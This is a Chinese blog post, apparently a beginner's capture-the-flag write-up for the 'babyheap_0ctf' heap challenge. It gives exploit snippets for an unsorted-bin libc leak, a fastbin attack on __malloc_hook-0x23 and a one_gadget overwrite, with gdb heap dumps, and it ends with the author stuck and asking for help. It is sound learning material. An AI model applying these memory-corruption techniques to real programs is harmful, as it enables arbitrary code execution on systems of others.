2021-10-13

最新推荐文章于 2023-02-18 21:00:43 发布

weixin_42338542

最新推荐文章于 2023-02-18 21:00:43 发布

阅读量1.7k

点赞数

文章标签： pwn 安全

本文链接：https://blog.csdn.net/weixin_42338542/article/details/120747556

版权

堆溢出 malloc_hook libc泄露 fastbin attack 内存管理

关键词由CSDN通过智能技术生成

babyheap_0ctf

总体思路

总体思路

1.通过unsortbin 来leak main_arena进而可以得到malloc_hook的地址

2.通过fastbin attack来控制malloc_hook-0x23的地址块

新的改变

add(0x80)	#0
add(0x80)	#1
add(0x80)	#2
add(0x80)	#3
free(1)   #free1之后可以通过chunk0来溢出到chunk1


payload1='a'*0x88+p64(0x121)	#把chunk1和chunk2合并
edit(0,len(payload1),payload1)
add(0x110)	#把chunk1的指针返回，这样可以通过控制chunk1来操作chunk2
payload2='a'*0x88+p64(0x91)	#把chunk2的size复原，准备free
edit(1,len(payload2),payload2)
free(2)
show(1)
malloc_hook=u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))-88-0x10 
pause()

在show下面下了断点来看看现在的堆，由于是小白初学所以尽量展示gdb的内容，看得更直观。

 0x555765a55000 PREV_INUSE {
  prev_size = 0,
  size = 145,
  fd = 0x6161616161616161,
  bk = 0x6161616161616161,
  fd_nextsize = 0x6161616161616161,
  bk_nextsize = 0x6161616161616161
}
0x555765a55090 PREV_INUSE {
  prev_size = 7016996765293437281,
  size = 289,
  fd = 0x6161616161616161,
  bk = 0x6161616161616161,
  fd_nextsize = 0x6161616161616161,
  bk_nextsize = 0x6161616161616161
}
0x555765a551b0 {
  prev_size = 144,
  size = 144,
  fd = 0x0,
  bk = 0x0,
  fd_nextsize = 0x0,
  bk_nextsize = 0x0
}
0x555765a55240 PREV_INUSE {
  prev_size = 0,
  size = 134593,
  fd = 0x0,
  bk = 0x0,
  fd_nextsize = 0x0,
  bk_nextsize = 0x0
}

0x555765a55090可以看到chunk_1和chunk_2已经“合并”

unsortedbin
all: 0x555765a55120 —▸ 0x7f53cb242b78 (main_arena+88) ◂— 0x555765a55120

free(2)后chunk_2的fd指向main_arena+88，我们的目的就是拿到chunk2的fd
堆中的内容：

0x555765a55000  0x0000000000000000      0x0000000000000091      ................
0x555765a55010  0x6161616161616161      0x6161616161616161      aaaaaaaaaaaaaaaa
0x555765a55020  0x6161616161616161      0x6161616161616161      aaaaaaaaaaaaaaaa
0x555765a55030  0x6161616161616161      0x6161616161616161      aaaaaaaaaaaaaaaa
0x555765a55040  0x6161616161616161      0x6161616161616161      aaaaaaaaaaaaaaaa
0x555765a55050  0x6161616161616161      0x6161616161616161      aaaaaaaaaaaaaaaa
0x555765a55060  0x6161616161616161      0x6161616161616161      aaaaaaaaaaaaaaaa
0x555765a55070  0x6161616161616161      0x6161616161616161      aaaaaaaaaaaaaaaa
0x555765a55080  0x6161616161616161      0x6161616161616161      aaaaaaaaaaaaaaaa
0x555765a55090  0x6161616161616161      0x0000000000000121      aaaaaaaa!.......
0x555765a550a0  0x6161616161616161      0x6161616161616161      aaaaaaaaaaaaaaaa
0x555765a550b0  0x6161616161616161      0x6161616161616161      aaaaaaaaaaaaaaaa
0x555765a550c0  0x6161616161616161      0x6161616161616161      aaaaaaaaaaaaaaaa
0x555765a550d0  0x6161616161616161      0x6161616161616161      aaaaaaaaaaaaaaaa
0x555765a550e0  0x6161616161616161      0x6161616161616161      aaaaaaaaaaaaaaaa
0x555765a550f0  0x6161616161616161      0x6161616161616161      aaaaaaaaaaaaaaaa
0x555765a55100  0x6161616161616161      0x6161616161616161      aaaaaaaaaaaaaaaa
0x555765a55110  0x6161616161616161      0x6161616161616161      aaaaaaaaaaaaaaaa
0x555765a55120  0x6161616161616161      0x0000000000000091      aaaaaaaa........         <-- unsortedbin[all][0]
0x555765a55130  0x00007f53cb242b78      0x00007f53cb242b78      x+$.S...x+$.S...

同时可以看到0x555765a55130处chunk_2的fd和bk都指向同一个地方，因为当我们只释放了一个chunk时，unsortbin因为是双链表结构，会让它指向同一个地方
3接下来我们继续向下进行，main_arena这块到底有啥东西，我们可以通过gdb看一看

x/20gi 0x7f4ca25aab78-88-0x10
   0x7f4ca25aab10 <__malloc_hook>:      add    BYTE PTR [rax],al
   0x7f4ca25aab12 <__malloc_hook+2>:    add    BYTE PTR [rax],al
   0x7f4ca25aab14 <__malloc_hook+4>:    add    BYTE PTR [rax],al
   0x7f4ca25aab16 <__malloc_hook+6>:    add    BYTE PTR [rax],al
   0x7f4ca25aab18:      add    BYTE PTR [rax],al
   0x7f4ca25aab1a:      add    BYTE PTR [rax],al
   0x7f4ca25aab1c:      add    BYTE PTR [rax],al
   0x7f4ca25aab1e:      add    BYTE PTR [rax],al
   0x7f4ca25aab20 <main_arena>: add    BYTE PTR [rax],al
   0x7f4ca25aab22 <main_arena+2>:       add    BYTE PTR [rax],al
   0x7f4ca25aab24 <main_arena+4>:       add    DWORD PTR [rax],eax
   0x7f4ca25aab26 <main_arena+6>:       add    BYTE PTR [rax],al
   0x7f4ca25aab28 <main_arena+8>:       add    BYTE PTR [rax],al
   0x7f4ca25aab2a <main_arena+10>:      add    BYTE PTR [rax],al
   0x7f4ca25aab2c <main_arena+12>:      add    BYTE PTR [rax],al
   0x7f4ca25aab2e <main_arena+14>:      add    BYTE PTR [rax],al
   0x7f4ca25aab30 <main_arena+16>:      add    BYTE PTR [rax],al
   0x7f4ca25aab32 <main_arena+18>:      add    BYTE PTR [rax],al
   0x7f4ca25aab34 <main_arena+20>:      add    BYTE PTR [rax],al
   0x7f4ca25aab36 <main_arena+22>:      add    BYTE PTR [rax],al

可以看到我们的__malloc_hook就在这个地方那么，hook上面还有啥？我把这块东西全部打印出来，向师傅们请教一下

x/80gx 0x7f4ca25aab78-88-0x10-0x23
0x7f4ca25aaaed <_IO_wide_data_0+301>:   0x4ca25a9260000000      0x000000000000007f
0x7f4ca25aaafd: 0x4ca226bea0000000      0x4ca226ba7000007f
0x7f4ca25aab0d <__realloc_hook+5>:      0x000000000000007f      0x0000000000000000
0x7f4ca25aab1d: 0x0100000000000000      0x0000000000000000
0x7f4ca25aab2d <main_arena+13>: 0x0000000000000000      0x0000000000000000
0x7f4ca25aab3d <main_arena+29>: 0x0000000000000000      0x0000000000000000
0x7f4ca25aab4d <main_arena+45>: 0x0000000000000000      0x0000000000000000
0x7f4ca25aab5d <main_arena+61>: 0x0000000000000000      0x0000000000000000
0x7f4ca25aab6d <main_arena+77>: 0x0000000000000000      0xc9e9ad7240000000
0x7f4ca25aab7d <main_arena+93>: 0x0000000000000055      0xc9e9ad7120000000
0x7f4ca25aab8d <main_arena+109>:        0xc9e9ad7120000055      0x4ca25aab88000055
0x7f4ca25aab9d <main_arena+125>:        0x4ca25aab8800007f      0x4ca25aab9800007f
0x7f4ca25aabad <main_arena+141>:        0x4ca25aab9800007f      0x4ca25aaba800007f
0x7f4ca25aabbd <main_arena+157>:        0x4ca25aaba800007f      0x4ca25aabb800007f
0x7f4ca25aabcd <main_arena+173>:        0x4ca25aabb800007f      0x4ca25aabc800007f
0x7f4ca25aabdd <main_arena+189>:        0x4ca25aabc800007f      0x4ca25aabd800007f
0x7f4ca25aabed <main_arena+205>:        0x4ca25aabd800007f      0x4ca25aabe800007f
0x7f4ca25aabfd <main_arena+221>:        0x4ca25aabe800007f      0x4ca25aabf800007f
0x7f4ca25aac0d <main_arena+237>:        0x4ca25aabf800007f      0x4ca25aac0800007f
0x7f4ca25aac1d <main_arena+253>:        0x4ca25aac0800007f      0x4ca25aac1800007f
0x7f4ca25aac2d <main_arena+269>:        0x4ca25aac1800007f      0x4ca25aac2800007f
0x7f4ca25aac3d <main_arena+285>:        0x4ca25aac2800007f      0x4ca25aac3800007f
0x7f4ca25aac4d <main_arena+301>:        0x4ca25aac3800007f      0x4ca25aac4800007f
0x7f4ca25aac5d <main_arena+317>:        0x4ca25aac4800007f      0x4ca25aac5800007f
0x7f4ca25aac6d <main_arena+333>:        0x4ca25aac5800007f      0x4ca25aac6800007f
0x7f4ca25aac7d <main_arena+349>:        0x4ca25aac6800007f      0x4ca25aac7800007f
0x7f4ca25aac8d <main_arena+365>:        0x4ca25aac7800007f      0x4ca25aac8800007f
0x7f4ca25aac9d <main_arena+381>:        0x4ca25aac8800007f      0x4ca25aac9800007f
0x7f4ca25aacad <main_arena+397>:        0x4ca25aac9800007f      0x4ca25aaca800007f
0x7f4ca25aacbd <main_arena+413>:        0x4ca25aaca800007f      0x4ca25aacb800007f
0x7f4ca25aaccd <main_arena+429>:        0x4ca25aacb800007f      0x4ca25aacc800007f
0x7f4ca25aacdd <main_arena+445>:        0x4ca25aacc800007f      0x4ca25aacd800007f
0x7f4ca25aaced <main_arena+461>:        0x4ca25aacd800007f      0x4ca25aace800007f
0x7f4ca25aacfd <main_arena+477>:        0x4ca25aace800007f      0x4ca25aacf800007f
0x7f4ca25aad0d <main_arena+493>:        0x4ca25aacf800007f      0x4ca25aad0800007f
0x7f4ca25aad1d <main_arena+509>:        0x4ca25aad0800007f      0x4ca25aad1800007f
0x7f4ca25aad2d <main_arena+525>:        0x4ca25aad1800007f      0x4ca25aad2800007f
0x7f4ca25aad3d <main_arena+541>:        0x4ca25aad2800007f      0x4ca25aad3800007f
0x7f4ca25aad4d <main_arena+557>:        0x4ca25aad3800007f      0x4ca25aad4800007f
0x7f4ca25aad5d <main_arena+573>:        0x4ca25aad4800007f      0x4ca25aad5800007f

根据别的师傅的描述，这块空间的大小是0x7f。我们只要把malloc_hook函数覆盖成我们的目标函数，那么只要程序一malloc，就能够去执行我们放在这里的函数地址。
_IO_wide_data_0据malloc_hook的地址偏移是0x23

x/80gi 0x7f4ca25aab78-88-0x10-0x23
   0x7f4ca25aaaed <_IO_wide_data_0+301>:        add    BYTE PTR [rax],al
   0x7f4ca25aaaef <_IO_wide_data_0+303>:        add    BYTE PTR [rax-0x6e],ah
   0x7f4ca25aaaf2 <_IO_wide_data_0+306>:        pop    rdx
   0x7f4ca25aaaf3 <_IO_wide_data_0+307>:        movabs ds:0x7f4c,al
   0x7f4ca25aaafc:      add    BYTE PTR [rax],al
   0x7f4ca25aaafe:      add    BYTE PTR [rax],al
   0x7f4ca25aab00 <__memalign_hook>:    movabs al,ds:0x7000007f4ca226be

0x7f4ca25aab00- 0x7f4ca25aaaed=0x23

libc_base=malloc_hook-libc.sym['__malloc_hook']
log.success("libc_base: "+hex(libc_base))


add(0x80)	#2
add(0x60)	#4
add(0x60)	#5

free(5)

payload='a'*0x68+p64(0x71)+p64(malloc_hook-0x23)		#0x13 control chunk_5
edit(4,len(payload),payload)
pause()
add(0x60)	#5   
add(0x60)	#6

看一看有没有把我们的东西写入到free_chunk的fd中，这一步类似于上面的

0x56469855a240 FASTBIN {
  prev_size = 0,
  size = 113,
  fd = 0x6161616161616161,
  bk = 0x6161616161616161,
  fd_nextsize = 0x6161616161616161,
  bk_nextsize = 0x6161616161616161
}
0x56469855a2b0 FASTBIN {
  prev_size = 7016996765293437281,
  size = 113,
  fd = 0x7f843d054aed <_IO_wide_data_0+301>,
  bk = 0x0,
  fd_nextsize = 0x0,
  bk_nextsize = 0x0
}
0x56469855a320 PREV_INUSE {
  prev_size = 0,
  size = 134369,
  fd = 0x0,
  bk = 0x0,
  fd_nextsize = 0x0,
  bk_nextsize = 0x0
}


fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x56469855a2b0 —▸ 0x7f843d054aed (_IO_wide_data_0+301) ◂— 0x843cd15ea0000000
0x80: 0x0

如果接下来，我们连续申请两个fastbin就能够达到_IO_wide_data的控制权，所以我们的chunk_6就是我们最终的控制块。

add(0x60)	#5   
add(0x60)	#to control 
pause()

这个时候查看堆块，发现并没有_IO_wide_data的显示

0x555e8bce2000 PREV_INUSE {
  prev_size = 0,
  size = 145,
  fd = 0x6161616161616161,
  bk = 0x6161616161616161,
  fd_nextsize = 0x6161616161616161,
  bk_nextsize = 0x6161616161616161
}
0x555e8bce2090 PREV_INUSE {
  prev_size = 7016996765293437281,
  size = 289,
  fd = 0x6161616161616161,
  bk = 0x6161616161616161,
  fd_nextsize = 0x6161616161616161,
  bk_nextsize = 0x6161616161616161
}
0x555e8bce21b0 PREV_INUSE {
  prev_size = 0,
  size = 145,
  fd = 0x0,
  bk = 0x0,
  fd_nextsize = 0x0,
  bk_nextsize = 0x0
}
0x555e8bce2240 FASTBIN {
  prev_size = 0,
  size = 113,
  fd = 0x6161616161616161,
  bk = 0x6161616161616161,
  fd_nextsize = 0x6161616161616161,
  bk_nextsize = 0x6161616161616161
}
0x555e8bce22b0 FASTBIN {
  prev_size = 7016996765293437281,
  size = 113,
  fd = 0x0,
  bk = 0x0,
  fd_nextsize = 0x0,
  bk_nextsize = 0x0
}

add(0x60)	#5   
add(0x60)	#to control 
one_gadget=libc_base+0x4527a
payload='a'*0x13+p64(one_gadget)
edit(6,len(payload),payload)
pause()
log.success("io: "+hex(malloc_hook-0x23))

当我们给目标chunk写入payload后，查看里面的内容，看看到底有没有写入。

x/20gz 0x7f9f3c465aed
0x7f9f3c465aed <_IO_wide_data_0+301>:   0x9f3c464260000000      0x000000000000007f
0x7f9f3c465afd: 0x6161616161616161      0x6161616161616161
0x7f9f3c465b0d <__realloc_hook+5>:      0x9f3c0e627a616161      0x000000000000007f
0x7f9f3c465b1d: 0x0000000000000000      0x0000000000000000
0x7f9f3c465b2d <main_arena+13>: 0x0000000000000000      0x0000000000000000
0x7f9f3c465b3d <main_arena+29>: 0x0000000000000000      0x0000000000000000
0x7f9f3c465b4d <main_arena+45>: 0x6ea0000000000000      0x00000000009f3c12
0x7f9f3c465b5d <main_arena+61>: 0x0000000000000000      0x0000000000000000
0x7f9f3c465b6d <main_arena+77>: 0x0000000000000000      0xb82b63f320000000
0x7f9f3c465b7d <main_arena+93>: 0x0000000000000055      0x9f3c465b78000000

libc_base: 0x7f9f3c0a1000

libc_base+one_gadget=0x7f9f3c0e627 正好与这里的东西相等
0x9f3c0e627a616161 ---------- 0x000000000000007f

我们只需要申请一个fastbin就可以了

add(0x10)
pause()

p.interactive()

在这里下断点，继续看我们的chunk到底变成啥样了

heap
0x563021d5f000 FASTBIN {
  prev_size = 0,
  size = 49,
  fd = 0x0,
  bk = 0x9,
  fd_nextsize = 0x7ffdf65917df,
  bk_nextsize = 0x0
}
0x563021d5f030 FASTBIN {
  prev_size = 0,
  size = 49,
  fd = 0x563021d5f100,
  bk = 0x9,
  fd_nextsize = 0x7ffdf65917f6,
  bk_nextsize = 0x0
}
0x563021d5f060 FASTBIN {
  prev_size = 0,
  size = 49,
  fd = 0x0,
  bk = 0x9,
  fd_nextsize = 0x7ffdf65917fe,
  bk_nextsize = 0x0
}
0x563021d5f090 FASTBIN {
  prev_size = 0,
  size = 49,
  fd = 0x563021d5f520,
  bk = 0x9,
  fd_nextsize = 0x7ffdf659180b,
  bk_nextsize = 0x0
}
0x563021d5f0c0 FASTBIN {
  prev_size = 0,
  size = 49,
  fd = 0x0,
  bk = 0x9,
  fd_nextsize = 0x7ffdf6591873,
  bk_nextsize = 0x0
}
0x563021d5f0f0 FASTBIN {
  prev_size = 0,
  size = 49,
  fd = 0x563021d5f430,
  bk = 0x9,
  fd_nextsize = 0x7ffdf6591888,
  bk_nextsize = 0x0
}
0x563021d5f120 FASTBIN {
  prev_size = 0,
  size = 49,
  fd = 0x563021d5f400,
  bk = 0x9,
  fd_nextsize = 0x7ffdf6591893,
  bk_nextsize = 0x0
}
0x563021d5f150 FASTBIN {
  prev_size = 0,
  size = 49,
  fd = 0x0,
  bk = 0x9,
  fd_nextsize = 0x7ffdf65918a8,
  bk_nextsize = 0x0
}
0x563021d5f180 FASTBIN {
  prev_size = 0,
  size = 49,
  fd = 0x563021d5f460,
  bk = 0x9,
  fd_nextsize = 0x7ffdf65918bf,
  bk_nextsize = 0x0
}
0x563021d5f1b0 FASTBIN {
  prev_size = 0,
  size = 49,
  fd = 0x563021d5f2b0,
  bk = 0x9,
  fd_nextsize = 0x7ffdf65918d0,
  bk_nextsize = 0x0
}
0x563021d5f1e0 FASTBIN {
  prev_size = 0,
  size = 49,
  fd = 0x563021d5f4f0,
  bk = 0x9,
  fd_nextsize = 0x7ffdf65918db,
  bk_nextsize = 0x0
}
0x563021d5f210 FASTBIN {
  prev_size = 0,
  size = 49,
  fd = 0x0,
  bk = 0x9,
  fd_nextsize = 0x7ffdf65918ea,
  bk_nextsize = 0x0
}
0x563021d5f240 FASTBIN {
  prev_size = 0,
  size = 49,
  fd = 0x0,
  bk = 0x9,
  fd_nextsize = 0x7ffdf6591905,
  bk_nextsize = 0x0
}
0x563021d5f270 FASTBIN {
  prev_size = 0,
  size = 49,
  fd = 0x0,
  bk = 0x9,
  fd_nextsize = 0x7ffdf6591915,
  bk_nextsize = 0x0
}
0x563021d5f2a0 FASTBIN {
  prev_size = 0,
  size = 49,
  fd = 0x0,
  bk = 0x9,
  fd_nextsize = 0x7ffdf659192d,
  bk_nextsize = 0x0
}
0x563021d5f2d0 FASTBIN {
  prev_size = 0,
  size = 49,
  fd = 0x0,
  bk = 0x9,
  fd_nextsize = 0x7ffdf659193b,
  bk_nextsize = 0x0
}
0x563021d5f300 FASTBIN {
  prev_size = 0,
  size = 49,
  fd = 0x0,
  bk = 0x9,
  fd_nextsize = 0x7ffdf6591950,
  bk_nextsize = 0x0
}
0x563021d5f330 FASTBIN {
  prev_size = 0,
  size = 49,
  fd = 0x0,
  bk = 0x9,
  fd_nextsize = 0x7ffdf6591967,
  bk_nextsize = 0x0
}
0x563021d5f360 FASTBIN {
  prev_size = 0,
  size = 49,
  fd = 0x0,
  bk = 0x9,
  fd_nextsize = 0x7ffdf6591975,
  bk_nextsize = 0x0
}
0x563021d5f390 FASTBIN {
  prev_size = 0,
  size = 49,
  fd = 0x0,
  bk = 0x9,
  fd_nextsize = 0x7ffdf6591987,
  bk_nextsize = 0x0
}
0x563021d5f3c0 FASTBIN {
  prev_size = 0,
  size = 49,
  fd = 0x0,
  bk = 0x9,
  fd_nextsize = 0x7ffdf65919a5,
  bk_nextsize = 0x0
}
0x563021d5f3f0 FASTBIN {
  prev_size = 0,
  size = 49,
  fd = 0x0,
  bk = 0x9,
  fd_nextsize = 0x7ffdf65919b3,
  bk_nextsize = 0x0
}
0x563021d5f420 FASTBIN {
  prev_size = 0,
  size = 49,
  fd = 0x0,
  bk = 0x9,
  fd_nextsize = 0x7ffdf65919d3,
  bk_nextsize = 0x0
}
0x563021d5f450 FASTBIN {
  prev_size = 0,
  size = 49,
  fd = 0x0,
  bk = 0x9,
  fd_nextsize = 0x7ffdf65919eb,
  bk_nextsize = 0x0
}
0x563021d5f480 FASTBIN {
  prev_size = 0,
  size = 49,
  fd = 0x0,
  bk = 0x9,
  fd_nextsize = 0x7ffdf6591a04,
  bk_nextsize = 0x0
}
0x563021d5f4b0 FASTBIN {
  prev_size = 0,
  size = 49,
  fd = 0x0,
  bk = 0x101,
  fd_nextsize = 0x563021d5f620,
  bk_nextsize = 0x0
}
0x563021d5f4e0 FASTBIN {
  prev_size = 0,
  size = 49,
  fd = 0x0,
  bk = 0x9,
  fd_nextsize = 0x7ffdf6591a21,
  bk_nextsize = 0x0
}
0x563021d5f510 FASTBIN {
  prev_size = 0,
  size = 49,
  fd = 0x0,
  bk = 0x9,
  fd_nextsize = 0x7ffdf6591a49,
  bk_nextsize = 0x0
}
0x563021d5f540 FASTBIN {
  prev_size = 0,
  size = 49,
  fd = 0x0,
  bk = 0x9,
  fd_nextsize = 0x7ffdf6591a5d,
  bk_nextsize = 0x0
}
0x563021d5f570 FASTBIN {
  prev_size = 0,
  size = 49,
  fd = 0x0,
  bk = 0x9,
  fd_nextsize = 0x7ffdf6591fe5,
  bk_nextsize = 0x0
}
0x563021d5f5a0 FASTBIN {
  prev_size = 0,
  size = 33,
  fd = 0x313d444e4954504f,
  bk = 0x0,
  fd_nextsize = 0x0,
  bk_nextsize = 0x31
}
0x563021d5f5c0 FASTBIN {
  prev_size = 0,
  size = 49,
  fd = 0x0,
  bk = 0x8,
  fd_nextsize = 0x563020c19200,
  bk_nextsize = 0x0
}
0x563021d5f5f0 FASTBIN {
  prev_size = 0,
  size = 33,
  fd = 0x69742f656d6f682f,
  bk = 0x706165682f726567,
  fd_nextsize = 0x0,
  bk_nextsize = 0x21
}
0x563021d5f610 FASTBIN {
  prev_size = 0,
  size = 33,
  fd = 0x6d6f682f3d445750,
  bk = 0x2f72656769742f65,
  fd_nextsize = 0x70616568,
  bk_nextsize = 0x209d1
}
0x563021d5f630 PREV_INUSE {
  prev_size = 1885431144,
  size = 133585,
  fd = 0x0,
  bk = 0x0,
  fd_nextsize = 0x0,
  bk_nextsize = 0x0
}

变成了这样一大串的东西。
到了这里我就懵了，有请师傅们发言。

weixin_42338542

关注

0
点赞
踩
1

收藏

觉得还不错? 一键收藏
0
评论
2021-10-13

babyheap_0ctf总体思路1.通过unsortbin 来leak main_arena进而可以得到malloc_hook的地址2.通过fastbin attack来控制malloc_hook-0x23的地址块新的改变总体思路1.通过unsortbin 来leak main_arena进而可以得到malloc_hook的地址2.通过fastbin attack来控制malloc_hook-0x23的地址块新的改变add(0x80) #0add(0x80) #1add(0x80) #2a
复制链接

扫一扫